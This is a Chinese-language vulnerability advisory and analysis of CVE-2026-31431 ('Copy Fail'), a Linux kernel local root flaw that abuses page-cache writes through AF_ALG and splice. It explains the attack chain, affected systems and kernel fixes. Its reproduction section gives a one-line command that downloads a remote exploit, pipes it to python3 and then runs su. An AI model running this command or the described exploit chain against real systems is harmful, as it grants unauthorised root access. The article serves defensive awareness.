当前位置:首页>Linux>Copy Fail-潜伏在Linux内核中长达9年的“史诗级”本地提权漏洞 [CVE-2026-31431]

Copy Fail-潜伏在Linux内核中长达9年的“史诗级”本地提权漏洞 [CVE-2026-31431]

  • 2026-10-11 08:20:53
Copy Fail-潜伏在Linux内核中长达9年的“史诗级”本地提权漏洞 [CVE-2026-31431]

  一、漏洞概览  

        2026年4月29日,一个潜伏在Linux内核中长达9年的史诗级本地提权漏洞 CVE-2026-31431(代号“Copy Fail”) 被公开披露。该漏洞CVSS v3.1评分达7.8(高危),影响范围覆盖自2017年以来几乎所有主流Linux发行版,包括Ubuntu、Debian、RHEL、SUSE及Amazon Linux。
      该漏洞攻击方式极为简洁,影响范围广泛,任何本地无特权用户,仅需一个732字节的Python脚本即可瞬间获取系统的root最高权限,攻击成功率高达100%。
漏洞概述
漏洞编号
CVE-2026-31431  CNVD-2026-19044   
漏洞类型
  权限提升
触发方式
   本地
危害等级
   高危
  CVSS v3.1  
   7.8
影响范围
 Linux内核 4.14 ~ 6.19.11 / 7.0-rc
(2017年至今全部主流发行版)
利用后果
 普通用户→Root / 容器逃逸宿主机 / 页缓存静默篡改
利用特征
 逻辑缺陷利用 / 无需内存破坏 / 无需竞态条件 / 本地低权限触发
发现方
Theori / Xint Code (AI辅助)
修复状态
官方已修复 (内核 6.18.22 / 6.19.12 / 7.0 系列),建议立即升级

二、漏洞复现

curl https://copy.fail/exp | python3 && su

三、攻击原理深度解析:从用户空间到内核页缓存的精准打击

3.1 核心攻击机制

   Copy Fail的攻击核心是 “页缓存写入原语”(page-cache write primitive) 。攻击者可以通过以下组合,实现向任意可读文件的页缓存中写入受控的4字节数据:

1.利用 splice() 系统调用将文件数据零拷贝传入内核管道;

2.通过 AF_ALG 套接字接口将数据送入内核加密子系统;

3.触发 authencesn 解密路径——即使认证标签错误,破坏已经生效。

最关键的是:由于破坏发生在页缓存(内存中的文件缓存副本)中,而非磁盘上的持久化文件,系统不会将受破坏的页面标记为“脏页”以触发写回操作。因此,磁盘上的文件保持原样,所有基于校验和的文件完整性工具(如AIDE、Tripwire)均无法检测到异常。

3.2 三步攻击链路

  阶段
操作
技术要点
第一阶段:页缓存污染
运行小型Python脚本,通过AF_ALG与splice触发内核Bug
无需root权限,任何本地用户均可执行
第二阶段:篡改setuid二进制
向目标二进制文件的页缓存写入特定4字节
篡改其程序逻辑,使其执行攻击者指定的代码
第三阶段:触发提权
执行被污染的setuid程序(如su)
内核从被污染的页缓存中读取并执行代码,获得root权限

     攻击者一般选取系统上的setuid二进制文件(如 sudo 或 su),通过页缓存写入篡改其在内存中的执行逻辑;当任何用户(或系统进程)调用该程序时,内核将直接从被污染的页缓存中读取并执行,攻击者由此获得root权限。

3.3 关键技术细节

AEAD解密流程中的Bug触发点:1. splice() 将文件页传入 → TX SGL中tag条目仍引用文件页缓存页2. _aead_recvmsg() 将tag链接到RX SGL → 通过sg_chain引用,非复制3. req->src = req->dst → 页缓存页进入可写目标散列表4. authencesn解密 → 在tag区域写入4字节后,才校验认证标签5. 校验失败返回-EBADMSG → 但4字节破坏已写入页缓存

   也就是说,攻击者可以在认证标签本身就错误、解密注定失败的情况下,依然触发内核向目标页缓存写入4字节。这种“先破坏、后校验”的代码执行顺序,正是该逻辑缺陷致命性的根源。

四、PoC分析:为何732字节的10行Python脚本就能实现稳定提权

Theori团队发布的概念验证(PoC)漏洞利用脚本仅732字节,约10行Python代码,可在Ubuntu、RHEL、Amazon Linux、SUSE等主流发行版上确定性获取root权限。

这一极致简洁性源于以下因素:

1.无需竞态条件:与Dirty Cow(CVE-2016-5195)或Dirty Pipe(CVE-2022-0847)不同,Copy Fail不依赖竞态条件,因此无需反复尝试,单次执行即可成功;

2.无需内核版本偏移量:漏洞从4.14内核起持续存在,利用逻辑不随内核版本变化而调整;

3.无需编译:纯Python标准库实现,无需编译任何C代码或内核模块;

4.确定性利用:攻击者可以精确控制向页缓存写入哪4个字节以及写入的具体偏移量。

在验证测试中,同一份未修改的exploit脚本在以下四个平台上均成功获取了root shell:

   发行版
内核版本
   Ubuntu 24.04 LTS
6.17.0-1007-aws
   Amazon Linux 2023
6.18.8-9.213.amzn2023
   RHEL 14.3
6.12.0-124.45.1.el10_1
   SUSE 16
6.12.0-160000.9-default

五、影响分析:远超桌面系统的威胁面

5.1 核心高危场景

1.多租户Linux系统:共享硬件的多个用户环境中,任何本地账户均可横向提权;

2.共享内核容器环境:容器隔离依赖Linux命名空间和控制组,但内核是共享的——Copy Fail直接从内核层面击穿此隔离;

3.CI/CD构建管道:执行不可信代码的CI runner成为攻击跳板;

4.容器逃逸:页缓存在宿主机上是共享的,被入侵的容器可以破坏宿主机上其他容器可见的setuid二进制文件,实现从容器到宿主机节点的逃逸。

5.2 隐蔽性:文件完整性工具的盲区

 该漏洞的误判风险在于:所有磁盘上的文件完整性检测均无法发现异常。因为破坏只发生在页缓存(内存)中,磁盘上的文件保持原样,不会触发任何 inotify 文件系统事件。攻击者可以在系统管理员毫无察觉的情况下维持持久化的root访问。

六、修复与缓解

1. 根治方案将内核升级至已修复版本:

  • 6.18系列 ≥ 6.18.22

  • 6.19系列 ≥ 6.19.12

  • 7.0系列 ≥ 7.0

修复原理:撤回2017年引入的in-place就地加密优化,恢复安全的out-of-place操作。

2. 临时缓解若无法立即重启更新内核,禁用受影响模块:

echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.confrmmod algif_aead
⚠️ 此方案在内核静态编译了 CONFIG_CRYPTO_USER_API_AEAD=y 的企业发行版上无效,届时只能更新内核。

参考链接

  • Theori官方技术报告:https://xint.io/blog/copy-fail-linux-distributions

  • 漏洞展示页:https://copy.fail/

  • PoC脚本:https://github.com/theori-io/copy-fail-CVE-2026-31431

    • CVE:https://www.cve.org/CVERecord?id=CVE-2026-31431

    • CNVD: https://www.cnvd.org.cn/flaw/show/CNVD-2026-19044

    • Red Hat:https://access.redhat.com/security/cve/cve-2026-31431

    • Debian:https://security-tracker.debian.org/tracker/CVE-2026-31431

    • Ubuntu:https://ubuntu.com/security/CVE-2026-31431

    • SUSE:https://www.suse.com/security/cve/CVE-2026-31431.html

    最新文章

    随机文章